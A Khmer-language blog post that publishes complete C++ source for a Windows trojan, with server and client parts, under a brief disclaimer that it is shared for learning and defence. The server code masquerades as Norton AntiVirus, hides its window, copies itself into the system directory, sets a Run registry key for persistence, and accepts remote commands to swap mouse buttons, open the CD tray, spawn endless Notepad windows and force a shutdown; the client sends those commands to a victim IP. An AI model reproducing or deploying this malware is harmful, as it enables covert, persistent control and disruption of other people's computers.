Source Code មេរោគប្រភេទ Trojan សរសេរក្នុង C++

សូម​បញ្ជាក់​ម្តង​ទៀត ការ​ដាក់​ Source Code ណ្នឹង​មិនមែន​បំណង​ប្រាប់​ពី​របៀប​ខូច​ដល់​អ្នក​ទាំងអស់​គ្នា​ទេ តែចង់​អោយ​ស្វែង​យល់​ពីវិធីសាស្រ្ត​ក្នុង​ការ​សរសេរ និង​ដឹង​ពីរបៀប​សរសេរ​ទប់​ស្តាក់​ពពួក​មេរោគទាំងនោះបាន។

***** CODE FOR SERVER FOLLOWS *********

#include <winsock2.h>
#include <iostream>
#include <windows.h>
using namespace std;

char Windir[MAX_PATH];
char Module[MAX_PATH];

SOCKET Socket;

void Hide()
{
SetConsoleTitle(“Norton AntiVirus”);
hide = FindWindow(NULL, “Norton AntiVirus”);
ShowWindow(hide, 0);
}

void GetPaths()
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, “\\WindowsAPICalls.exe”);
}

void Install()
{
CopyFile(Module,Windir,0);

HKEY Install;
RegOpenKey(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”, &Install);
RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}

int ServerInitialize()
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Winsock initialized.” << “\n”;
}

Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

if (Socket == INVALID_SOCKET )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Socket created.” << “\n”;
}

sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);

if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
{
closesocket(Socket);
system(Module);
return 0;
}

else
{
cout << “Socket bound successfully.” << “\n”;
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << “Error listening on socket.” << “\n”;

SOCKET AcceptSocket;

cout << “Waiting for a client to connect…” << “\n”;
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << “Client Connected.”<< “\n”;
Socket = AcceptSocket;
}

void Shutdown()
{
char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”;
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}

void OpenCloseCDTray()
{
mciSendString(“set cdaudio door open”, 0, 0, 0);
mciSendString(“set cdaudio door open”, 0, 0, 0);
}

void Bomb()
{
HWND hwnd;
char Notepad[MAX_PATH]=”notepad.exe”;
for(;;)
{
ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
}
}

void LeftMouse()
{
SwapMouseButton(true);
}

void RightMouse()
{
SwapMouseButton(false);
}

void Receive()
{
for(;;)
{
char Choice[MAX_PATH]=””;
cout << “Waiting for commands, sir!” << “\n”;
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << “\n”;
if (!strcmp(Choice,”1″))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,”2″))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,”3″))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={“CD Tray opened.  Closed if not on a laptop.”};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,”4″))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}

int main()
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}

***** CODE FOR CLIENT FOLLOWS *********

#include <winsock2.h>
#include <windows.h>
#include <iostream>
using namespace std;

SOCKET Socket;

int ClientInitialize()
{
char IP[MAX_PATH];
cout << “Enter IP: “;
cin >> IP;

WSADATA wsaData;
int iResult;
iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
cout << “Error at WSAStartup()\n”;
cin.ignore();
return 0;
}
else
{
cout << “Winsock intialized.\n”;
}

Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (Socket == INVALID_SOCKET)
{
cout << “Error at socket(): %ld\n”,WSAGetLastError();
WSACleanup();
cin.ignore();
return 0;
}
else
{
cout << “Socket initialized” << “\n”;
}

sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( IP );
clientService.sin_port = htons(5432);

if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
{
cout << “Failed to connect.\n”;
WSACleanup();
cin.ignore();
return 0;
}

else
{
cout << “Connected to server.” << “\n”;
}
}

int exit()
{
return 0;
}

void Send()
{
for(;;)
{

char Choice[MAX_PATH];
cout << “List of commands:” << “\n”;
cout << “1. Left Mouse” << “\n” << “2. Right Mouse” << “\n”;
cout << “3. Open\\Close CD Tray” << “\n” << “4. Notepad Bomb” << “\n”;
cout << “5. Shutdown.” << “\n”;
cout << “Take your pick: “;
cin >> Choice;
send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
char ServerResponse[MAX_PATH];
recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
cout << “\n” << “\n” << “Command successful!” << “\n” << ServerResponse;
cout << “\n” << “\n” << “\n” << “\n” << “\n”;
Sleep(2000);
}
}

int main()
{
SetConsoleTitle(“.=.quickbolt’s Trojan.=.”);
ClientInitialize();
Send();
cin.ignore();
return 0;
}

7 thoughts on “Source Code មេរោគប្រភេទ Trojan សរសេរក្នុង C++

ឆ្លើយ​តប

Fill in your details below or click an icon to log in:

ឡូហ្កូ WordPress.com

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី WordPress.com របស់​អ្នក​។ Log Out / ផ្លាស់ប្តូរ )

រូប Twitter

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី Twitter របស់​អ្នក​។ Log Out / ផ្លាស់ប្តូរ )

រូបថត Facebook

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី Facebook របស់​អ្នក​។ Log Out / ផ្លាស់ប្តូរ )

Google+ photo

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី Google+ របស់​អ្នក​។ Log Out / ផ្លាស់ប្តូរ )

កំពុង​ភ្ជាប់​ទៅ​កាន់ %s